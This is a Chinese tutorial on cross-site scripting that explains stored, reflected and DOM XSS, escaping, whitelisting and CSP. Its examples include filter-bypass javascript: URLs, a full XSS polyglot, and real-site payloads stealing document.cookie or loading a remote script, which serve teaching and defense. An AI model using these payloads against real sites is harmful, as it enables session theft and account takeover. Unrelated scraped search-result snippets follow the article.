
    只要 URL 的开头不是 javascript:,就安全了吧?

    安全组随手又扔了一个连接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

    这也能执行?…..好吧,浏览器就是这么强大。

    小明欲哭无泪,在判断 URL 开头是否为 javascript: 时,先把用户输入转成了小写,然后再进行比对。

    不过,所谓“道高一尺,魔高一丈”。面对小明的防护策略,安全组就构造了这样一个连接:

    http://xxx/?redirect_to=%20javascript:alert('XSS')

    %20javascript:alert('XSS') 经过 URL 解析后变成 javascript:alert('XSS'),这个字符串以空格开头。这样攻击者可以绕过后端的关键词规则,又成功的完成了注入。

    最终,小明选择了白名单的方法,彻底解决了这个漏洞:

     // 根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等 
    allowSchemes = [ "http" ,  "https" ];
    
    valid = isValid(getParameter( "redirect_to" ), allowSchemes);
    
     if  (valid) {
      <a href= "<%= escapeHTML(getParameter(" redirect_to "))%>" >
        跳转...
      </a>
    }  else  {
      <a href= "/404" >
        跳转...
      </a>
    }
    

    通过这个事件,小明学习到了如下知识:

    1.做了 HTML 转义,并不等于高枕无忧。

    2.对于链接跳转,如 &lt;a href="xxx" 或 location.href="xxx",要检验其内容,禁止以 javascript: 开头的链接,和其他非法的 scheme。

    根据上下文采用不同的转义规则

    某天,小明为了加快网页的加载速度,把一个数据通过 JSON 的方式内联到 HTML 中:

    < script >  
     var  initData =   < %=   data.toJSON () %> 
    </ script > 
    

    插入 JSON 的地方不能使用 escapeHTML(),因为转义 " 后,JSON 格式会被破坏。

    但安全组又发现有漏洞,原来这样内联 JSON 也是不安全的:

    1.当 JSON 中包含 U+2028 或 U+2029 这两个字符时,不能作为 JavaScript 的字面量使用,否则会抛出语法错误。

    2.当 JSON 中包含字符串 时,当前的 script 标签将会被闭合,后面的字符串内容浏览器会按照 HTML 进行解析;通过增加下一个 <script> 标签等方法就可以完成注入。

    于是我们又要实现一个 escapeEmbedJSON() 函数,对内联 JSON 进行转义。

    转义规则如下:

    |字符|转义后的字符| 
    |-|-| 
    |U+2028|\u2028
    |U+2029|\u2029
    |<|\u003c|

    修复后的代码如下:

     < script >  
     var  initData =   < %=   escapeEmbedJSON ( data.toJSON ()) %> 
    

    通过这个事件,小明学习到了如下知识:

    1.HTML 转义是非常复杂的,在不同的情况下要采用不同的转义规则。如果采用了错误的转义规则,很有可能会埋下 XSS 隐患。

    2.应当尽量避免自己写转义库,而应当采用成熟的、业界通用的转义库。

    漏洞总结

    小明的例子讲完了,下面我们来系统的看下 XSS 有哪些注入的方法:

    在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。

    在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。

    在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。

    在标签的 href、src 等属性中,包含 javascript: 等可执行代码。

    在 onload、onerror、onclick 等事件中,注入不受控制代码。

    在 style 属性和标签中,包含类似 background-image:url("javascript:…"); 的代码(新版本浏览器已经可以防范)。

    在 style 属性和标签中,包含类似 expression(…) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

    总之,如果开发者没有将用户输入的文本进行合适的过滤,就贸然插入到 HTML 中,这很容易造成注入漏洞。攻击者可以利用漏洞,构造出恶意的代码指令,进而利用恶意代码危害数据安全。

    XSS 攻击的分类

    通过上述几个例子,我们已经对 XSS 有了一些认识。

    什么是 XSS

    Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

    为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。

    XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。

    而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。

    在部分情况下,由于输入的限制,注入的恶意脚本比较短。但可以通过引入外部的脚本,并由浏览器执行,来完成比较复杂的攻击策略。

    这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

    不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处理输入时,以下内容都不可信:

    来自用户的 UGC 信息

    来自第三方的链接

    URL 参数

    POST 参数

    Referer (可能来自不可信的来源)

    Cookie (可能来自其他子域注入)

    XSS 分类

    根据攻击的来源,XSS 攻击可分为存储型、反射型和 DOM 型三种。

    |类型|存储区|插入点| 
    |-|-| 
    |存储型 XSS|后端数据库|HTML| 
    |反射型 XSS|URL|HTML| 
    |DOM 型 XSS|后端数据库/前端存储/URL|前端 JavaScript|

    存储区:恶意代码存放的位置。

    插入点:由谁取得恶意代码,并插入到网页上。

    存储型 XSS

    存储型 XSS 的攻击步骤:

    1.攻击者将恶意代码提交到目标网站的数据库中。

    2.用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。

    3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

    4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

    反射型 XSS

    反射型 XSS 的攻击步骤:

    1.攻击者构造出特殊的 URL,其中包含恶意代码。

    2.用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。

    3.用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

    4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

    反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

    由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

    POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

    DOM 型 XSS

    DOM 型 XSS 的攻击步骤:

    1.攻击者构造出特殊的 URL,其中包含恶意代码。

    2.用户打开带有恶意代码的 URL。

    3.用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。

    4.恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

    XSS 攻击的预防

    通过前面的介绍可以得知,XSS 攻击有两大要素:

    1.攻击者提交恶意代码。

    2.浏览器执行恶意代码。

    针对第一个要素:我们是否能够在用户输入的过程,过滤掉用户输入的恶意代码呢?

    输入过滤

    在用户提交时,由前端过滤输入,然后提交到后端。这样做是否可行呢?

    答案是不可行。一旦攻击者绕过前端过滤,直接构造请求,就可以提交恶意代码了。

    那么,换一个过滤时机:后端在写入数据库前,对输入进行过滤,然后把“安全的”内容,返回给前端。这样是否可行呢?

    我们举一个例子,一个正常的用户输入了 5 < 7 这个内容,在写入数据库前,被转义,变成了 5 &lt; 7

    问题是:在提交阶段,我们并不确定内容要输出到哪里。

    这里的“并不确定内容要输出到哪里”有两层含义:

    1.用户的输入内容可能同时提供给前端和客户端,而一旦经过了escapeHTML(),客户端显示的内容就变成了乱码( 5 &lt; 7 )。

    2.在前端中,不同的位置所需的编码也不同。

    当 5 &lt; 7 作为 HTML 拼接页面时,可以正常显示:< div   title = “comment” > 5 &lt; 7 </ div >。

    当 5 &lt; 7 通过 Ajax 返回,然后赋值给 JavaScript 的变量时,前端得到的字符串就是转义后的字符。这个内容不能直接用于 Vue 等模板的展示,也不能直接用于内容长度计算。不能用于标题、alert 等。

    所以,输入侧过滤能够在某些情况下解决特定的 XSS 问题,但会引入很大的不确定性和乱码问题。在防范 XSS 攻击时应避免此类方法。

    当然,对于明确的输入类型,例如数字、URL、电话号码、邮件地址等等内容,进行输入过滤还是必要的。

    既然输入过滤并非完全可靠,我们就要通过“防止浏览器执行恶意代码”来防范 XSS。这部分分为两类:

    1.防止 HTML 中出现注入。

    2.防止 JavaScript 执行时,执行恶意代码。

    预防存储型和反射型 XSS 攻击

    存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

    预防这两种漏洞,有两种常见做法:

    1.改成纯前端渲染,把代码和数据分隔开。

    2.对 HTML 做充分转义。

    纯前端渲染

    纯前端渲染的过程:

    1.浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。

    2.然后浏览器执行 HTML 中的 JavaScript。

    3.JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

    在纯前端渲染中,我们会明确的告诉浏览器:下面要设置的内容是文本(.innerText),还是属性(.setAttribute),还是样式(.style)等等。浏览器不会被轻易的被欺骗,执行预期外的代码了。

    但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

    在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

    转义 HTML

    如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

    常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善:

    |XSS 安全漏洞|简单转义是否有防护作用| 
    |-|-| 
    |HTML 标签文字内容|有| 
    |HTML 属性值|有| 
    |CSS 内联样式|无| 
    |内联 JavaScript|无| 
    |内联 JSON|无| 
    |跳转链接|无|

    所以要完善 XSS 防护措施,我们要使用更完善更细致的转义策略。

    例如 Java 工程里,常用的转义库为 org.owasp.encoder。以下代码引用自 org.owasp.encoder 的官方说明。

     <!-- HTML 标签内文字内容 --> 
     < div >  < %=   Encode.forHtml ( UNTRUSTED ) %>  </ div > 
    
     <!-- HTML 标签属性值 --> 
     < input   value = "<%= Encode.forHtml(UNTRUSTED) %>"  /> 
    
     <!-- CSS 属性值 --> 
     < div   style = "width:<= Encode.forCssString(UNTRUSTED) %>" > 
    
     <!-- CSS URL --> 
     < div   style = "background:<= Encode.forCssUrl(UNTRUSTED) %>" > 
    
     <!-- JavaScript 内联代码块 --> 
     < script >  
       var  msg =  "<%= Encode.forJavaScript(UNTRUSTED) %>" ;
      alert(msg);
      </ script > 
     <!-- JavaScript 内联代码块内嵌 JSON --> 
     < script >  
     var  __INITIAL_STATE__ =  JSON .parse( '<%= Encoder.forJavaScript(data.to_json) %>' );
      </ script > 
     <!-- HTML 标签内联监听器 --> 
     < button 
       onclick = "alert('<%= Encode.forJavaScript(UNTRUSTED) %>');" > 
      click me
     </ button > 
     <!-- URL 参数 --> 
     < a   href = "/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top" > 
     <!-- URL 路径 --> 
     < a   href = "/page/<%= Encode.forUriComponent(UNTRUSTED) %>" > 
     <!--
      URL.
      注意:要根据项目情况进行过滤,禁止掉 "javascript:" 链接、非法 scheme 等
    --> 
     < a   href = '<%=
      urlValidator.isValid(UNTRUSTED) ?
        Encode.forHtml(UNTRUSTED) :
        "/404"
    %>' > 
      link
     </ a > 
    

    可见,HTML 的编码是十分复杂的,在不同的上下文里要使用相应的转义规则。

    预防 DOM 型 XSS 攻击

    DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

    在使用 .innerHTML.outerHTMLdocument.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

    如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTMLouterHTML 的 XSS 隐患。

    DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

     <!-- 内联事件监听器中包含恶意代码 --> 
     < img   onclick = "UNTRUSTED"   onerror = "UNTRUSTED"   src = "data:image/png," > 
     <!-- 链接内包含恶意代码 --> 
     < a   href = "UNTRUSTED" > 1 </ a > 
     < script >  
     // setTimeout()/setInterval() 中调用恶意代码 
    setTimeout( "UNTRUSTED" )
    setInterval( "UNTRUSTED" )
     // location 调用恶意代码 
    location.href =  'UNTRUSTED' 
     // eval() 中调用恶意代码 
     eval ( "UNTRUSTED" )
      </ script > 
    

    如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。

    其他 XSS 防范措施

    虽然在渲染页面和执行 JavaScript 时,通过谨慎的转义可以防止 XSS 的发生,但完全依靠开发的谨慎仍然是不够的。以下介绍一些通用的方案,可以降低 XSS 带来的风险和后果。

    Content Security Policy

    严格的 CSP 在 XSS 的防范中可以起到以下的作用:

    禁止加载外域代码,防止复杂的攻击逻辑。

    禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

    禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。

    禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。

    合理使用上报可以及时发现 XSS,利于尽快修复问题。

    关于 CSP 的详情,请关注前端安全系列后续的文章。

    输入内容长度控制

    对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。

    其他安全措施

    HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。

    验证码:防止脚本冒充用户提交危险操作。

    XSS 的检测

    上述经历让小明收获颇丰,他也学会了如何去预防和修复 XSS 漏洞,在日常开发中也具备了相关的安全意识。但对于已经上线的代码,如何去检测其中有没有 XSS 漏洞呢?

    经过一番搜索,小明找到了两个方法:

    1.使用通用 XSS 攻击字符串手动检测 XSS 漏洞。

    2.使用扫描工具自动检测 XSS 漏洞。

    Unleashing an Ultimate XSS Polyglot一文中,小明发现了这么一个字符串:

    jaVasCript: /*-/*`/*\`/*'/*"/**/ ( /* */ oNcliCk=alert() ) //%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e 
    

    它能够检测到存在于 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等多种上下文中的 XSS 漏洞,也能检测 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,并且能绕过一些 XSS 过滤器。

    小明只要在网站的各输入框中提交这个字符串,或者把它拼接到 URL 参数上,就可以进行检测了。

    http ://xxx/search?keyword=jaVasCript %3 A %2 F*- %2 F* %60  %2 F* %60  %2 F* %27  %2 F* %22  %2 F** %2 F( %2 F* %20 * %2 FoNcliCk %3 Dalert() %20 ) %2 F %2 F %250 D %250 A %250 d %250 a %2 F %2 F %3 C %2 FstYle %2 F %3 C %2 FtitLe %2 F %3 C %2 FteXtarEa %2 F %3 C %2 FscRipt %2 F--! %3 E %3 CsVg %2 F %3 CsVg %2 FoNloAd %3 Dalert() %2 F %2 F %3 E %3 E
    

    除了手动检测之外,还可以使用自动扫描工具寻找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af 等。

    XSS 攻击的总结

    我们回到最开始提出的问题,相信同学们已经有了答案:

    1.XSS 防范是后端 RD 的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。

     

    不正确。因为:

    防范存储型和反射型 XSS 是后端 RD 的责任。而 DOM 型 XSS 攻击不发生在后端,是前端 RD 的责任。防范 XSS 是需要后端 RD 和前端 RD 共同参与的系统工程。

    转义应该在输出 HTML 时进行,而不是在提交用户输入时。

    2.所有要插入到页面上的数据,都要通过一个敏感字符过滤函数的转义,过滤掉通用的敏感字符后,就可以插入到页面中。

    不正确。 
    不同的上下文,如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等,所需要的转义规则不一致。 
    业务 RD 需要选取合适的转义库,并针对不同的上下文调用不同的转义规则。

    整体的 XSS 防范是非常复杂和繁琐的,我们不仅需要在全部需要转义的位置,对数据进行对应的转义。而且要防止多余和错误的转义,避免正常的用户输入出现乱码。

    虽然很难通过技术手段完全避免 XSS,但我们可以总结以下原则减少漏洞的产生:

    利用模板引擎

    开启模板引擎自带的 HTML 转义功能。例如: 

    在 ejs 中,尽量使用 <%= data %> 而不是 <%- data %>; 

    在 doT.js 中,尽量使用 {{! data } 而不是 {{= data }; 

    在 FreeMarker 中,确保引擎版本高于 2.3.24,并且选择正确的 freemarker.core.OutputFormat

    避免内联事件

    尽量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 这种拼接内联事件的写法。在 JavaScript 中通过 .addEventlistener() 事件绑定会更安全。

    避免拼接 HTML

    前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElementsetAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。

    时刻保持警惕

    在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。

    增加攻击难度,降低攻击后果

    通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。

    主动检测和发现

    可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。

    XSS 攻击案例

    QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞

    攻击者发现 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 这个 URL 的参数 uindomain 未经转义直接输出到 HTML 中。

    于是攻击者构建出一个 URL,并引导用户去点击: 
    http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

    用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:

     <script>  
    getTop().location.href= "/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa" + "&t=" + "&d=bbbb" ; return   false ;  </ script >  < script >  alert( document .cookie)  </ script > "+"...
    

    浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。

    新浪微博名人堂反射型 XSS 漏洞

    攻击者发现 http://weibo.com/pub/star/g/xyyyd 这个 URL 的内容未经过滤直接输出到 HTML 中。

    于是攻击者构建出一个 URL,然后诱导用户去点击:

    http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

    用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:

     <li>  <a href = "http://weibo.com/pub/star/g/xyyyd" >  < script   src = //xxxx.cn/image/t.js >  </ script > ">按分类检索 </ a >  </ li > 
    

    浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

    扩展阅读:Automatic Context-Aware Escaping

    上文我们说到:

    1.合适的 HTML 转义可以有效避免 XSS 漏洞。

    2.完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。

    3.业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。

    通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。

    这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。

    2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping

    所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。

    在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:

     < html > 
       < head > 
         < meta   charset = "UTF-8" > 
         < title > {{.title}} </ title > 
       </ head > 
       < body > 
         < a   href = "{{.url}}" > {{.content}} </ a > 
       </ body > 
     </ html > 
    

    模板引擎经过解析后,得知三个插入点所处的上下文,自动选用相应的转义规则:

     < html > 
       < head > 
         < meta   charset = "UTF-8" > 
         < title > {{.title | htmlescaper}} </ title > 
       </ head > 
       < body > 
         < a   href = "{{.url | urlescaper | attrescaper}}" > {{.content | htmlescaper}} </ a > 
       </ body > 
     </ html > 
    

    目前已经支持 Automatic Context-Aware Escaping 的模板引擎有:

    1.go html/template

    2.Google Closure Templates

    课后作业:XSS 攻击小游戏

    以下是几个 XSS 攻击小游戏,开发者在网站上故意留下了一些常见的 XSS 漏洞。玩家在网页上提交相应的输入,完成 XSS 攻击即可通关。

    在玩游戏的过程中,请各位读者仔细思考和回顾本文内容,加深对 XSS 攻击的理解。

    alert(1) to win 
    prompt(1) to win 
    XSS game

    参考文献

    Wikipedia. Cross-site scripting, Wikipedia.

    OWASP. XSS (Cross Site Scripting) Prevention Cheat Sheet, OWASP.

    OWASP. Use the OWASP Java Encoder-Use-the-OWASP-Java-Encoder), GitHub.

    Ahmed Elsobky. Unleashing an Ultimate XSS Polyglot, GitHub.

    Jad S. Boutros. Reducing XSS by way of Automatic Context-Aware Escaping in Template Systems, Google Security Blog.

    Vue.js. v-html – Vue API docs, Vue.js.

    React. dangerouslySetInnerHTML – DOM Elements, React.

    展开全文
  • 第一部分:道路运输企业主要负责人安全考核模拟学习试题 该模拟题库适用于全国道路运输企业主要负责模拟考试通用部分,了解更多...C、建立、健全安全生产责任制和安全生产规章制度 D、着力做好从业人员医疗保险工作
  • 信息安全

    千次阅读 2011-10-24 20:14:22
    网络环境下的信息安全体系是保证信息安全的关键,包括计算机安全操作系统、各种安全协议、安全机制(数字签名、信息认证、数据加密等),直至安全系统,其中任何一个安全漏洞便可以威胁全局安全。信息安全服务至少...
  • CCSK云安全认证-M2-云基础设施安全

    万次阅读 多人点赞 2020-03-05 11:54:28
    CCSK云安全认证-M2-云基础设施安全
  • 第一章 Android 安全入门 作者:Aditya Gupta 译者:飞龙 协议:CC BY-NC-SA 4.0 Android 是当今最流行的智能手机操作系统之一。 随着人气的增加,它存在很多安全风险,这些风险不可避免地被引入到应用程序中...
  • CCSK云安全认证-M3-管理云计算的安全性和风险

    万次阅读 多人点赞 2020-03-07 23:57:27
    CCSK-M3-管理云计算的安全性和风险一.云计算安全治理与风险管理1.1 治理1.2 云治理工具二....管理云计算时要记住 的首要问题是,一个组织永远不能外包治理的责任,即使是使用外部供应商的情况下。 无论...
  • 然而,很多编写Servlet/JSP程序时并没有注意到多线程安全性的问题,这往往造成编写的程序在少量用户访问时没有任何问题,而在并发用户上升到一定值时,就会经常出现一些莫明其妙的问题。 Servl
  • Web 安全恩仇录:漏洞原理

    千次阅读 2018-04-12 10:41:44
    rNma0y,GitChat“肖志华”现担任某安全团队负责。从事 Web 安全,补天白帽子,漏洞盒子白帽子,熟悉 Web 攻防姿势,擅长渗透测试以及漏洞挖掘。 课程内容 导读:写在前面的话 对于本课所出现的内容,仅作为教学...
  • 第一个安全隐患:我们如何知道上门取件的人是快递公司的,而不是骗子? 现实中我们可以实时定位快递员的位置,通过取件员的工牌、工作证、身份证确认身份,甚至可以打电话到快递公司核实。 运输过程是第二个...
  • 网络安全面试题

    万次阅读 多人点赞 2019-02-12 15:42:14
    在当今社会网络安全行业越来越发达,也有越来越多的去学习,为了更好地进行工作,除了学好知识外还要应对企业的面试。 所以在这里我归总了一些网络安全方面的常见面试题,希望对大家有所帮助。 windows常见 ...
  • 网络安全竞赛习题

    千次阅读 2020-07-22 12:34:37
    我国的( )主要规定了关于数据电文、电子签名与认证及相关的法律责任 A.《中华人民共和国宪法》;B.《中华人民共和国网络空间安全法》;C.《中华人民共和国电子签名法》;D.《商用密码管理条例》 正确答案是:C ...
  • 医疗行业安全建设方案

    千次阅读 2017-12-22 15:18:46
    1.1工作目标依据国家信息安全等级保护制度,遵循相关标准规范,在卫生行业全面开展信息安全等级保护定级备案、建设整改和等级测评等工作,明确信息安全保障重点,落实信息安全责任,建立信息安全等级保护工作长效...
  • SQL Server扫盲系列——安全性专题
  • 安全工程师学习路线

    千次阅读 多人点赞 2018-09-04 18:28:29
    参考1:《安全工程师学习路线》 前言 职位描述 职位要求 学习路线 基本技能 前期安全知识的补充学习 安全工具使用 渗透测试 安全基线检查 应急响应 代码审计 安全边界建设 安全规范 具体参考内容链接...
  • 网络空间安全——总结

    千次阅读 2020-03-12 17:41:36
    系统而全面的了解网络空间安全方面的基础知识、认识安全隐患、掌握相应的防范方法、提高大家的安全意识。 课程重点: 勾勒网络空间安全的框架。 课程内容安排: 安全法律法规 物理设备安全 网络攻防技术 恶意...
  • 安全审计

    千次阅读 2017-07-07 16:57:12
    安全审计(Security Auditing)是指根据一定的安全策略,通过记录和分析历史操作事件及数据,发现能够改进系统性能和系统安全的地方。它的目的是为保证网络系统安全运行,保护数据的保密性、完整性及可用性不受损坏,...
  • 信息安全领域相关术语介绍

    千次阅读 2014-11-16 15:32:07
    信息安全领域相关术语介绍!
  • 需要网络安全制度汇编请下载网络安全等级保护-信息安全管理制度汇编参考下载,等级保护测评公司,网络安全等级保护测评,等级保护测评机构,等级保护机构 需要加强等网络、信息安全级保护定级备案,网络安全测评及...
  • 第二部分:道路运输企业安全生产管理人员安全考核模拟学习试题 该模拟题库适用于全国道路运输企业安全生产管理人员模拟考试通用部分,了解更多工种完整题库信息,百度搜索【安考星】或关注“安考星”微信公众号,...
  • 2019中国信息安全自主可控行业政策盘点及网络安全行业分析一、盘点中国信息安全自主可控行业政策法规二、中国网络安全行业产品分类全景图**三、国产化信息技术网络安全自主可控行业现状深度剖析****1、信息战凸显...
  • 什么是线程安全

    千次阅读 2007-06-23 22:57:00
    也许你会惊讶,并发编程并不会涉及过多的线程或锁,不会多于建筑工程...编写线程安全的代码,本质上就是管理对状态(state)的访问,而且通常都是共享的、可变的状态。通俗地说,一个对象的状态就是它的数据,存储在状
  • 什么是安全认证(CA)?

    千次阅读 2005-04-05 23:18:00
    在网上交易中,客户、商家、银行不可能直接见面。为了确认交易各方的身份以及保证交易的不可否认,需要有一份数字证书来进行验证,这就是电子安全证书。电子安全证书由认证中心来发放。 网上电子交易需要有安全的...
  • 十八、信息安全管理制度 ...2.医疗机构主要负责人是患者诊疗信息安全管理第一责任人。 3.医疗机构应当建立患者诊疗信息安全风险评估和应急工作机制,制定应急预案。 4.医疗机构应当确保实现本机构
  • 2020 网络安全重保日记

    千次阅读 2020-11-27 16:11:17
    各用户单位也陆续启动响应,对网络安全负责、联络通知到位,深度排查网络安全风险,及时调整网络安全策略,部署实施态势感知、应急响应、持续安全评估、安全监测巡检等安全措施,并确保安全人员现场保障。...
  • 1.3 信息安全管理基础 欢迎加入最棒的信息安全工程师社群,分享信息安全工程师备考干货资料。 备考交流QQ群:39460595 https://www.moondream.cn/?p=521 一.大纲要求 1.3.1 信息安全管理制度与政策 * 熟悉...
  • 我理解的安全运营

    万次阅读 多人点赞 2018-07-17 10:10:42
    曾经,安全圈把从业人员分成剑宗和气宗。剑宗是掌握一些招式,不需要长年累月的积累“内力”,有时候就能出奇制胜,搞Web...这两类,共同看不起的是一类“文职安全工程师” —— 安全管理从业人员 所谓的“文职安...
  • 本案涉及到公司的一些机密信息,因此涉及到机密信息,...公司规模不大,员工大概60左右,对于网络安全几乎没有意识,员工入职并没有任何的培训和考核,也没有定期的安全培训和考核。管理制度完全空白,导致我们被...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 79,565
精华内容 31,826
关键字:

安全直接责任人是谁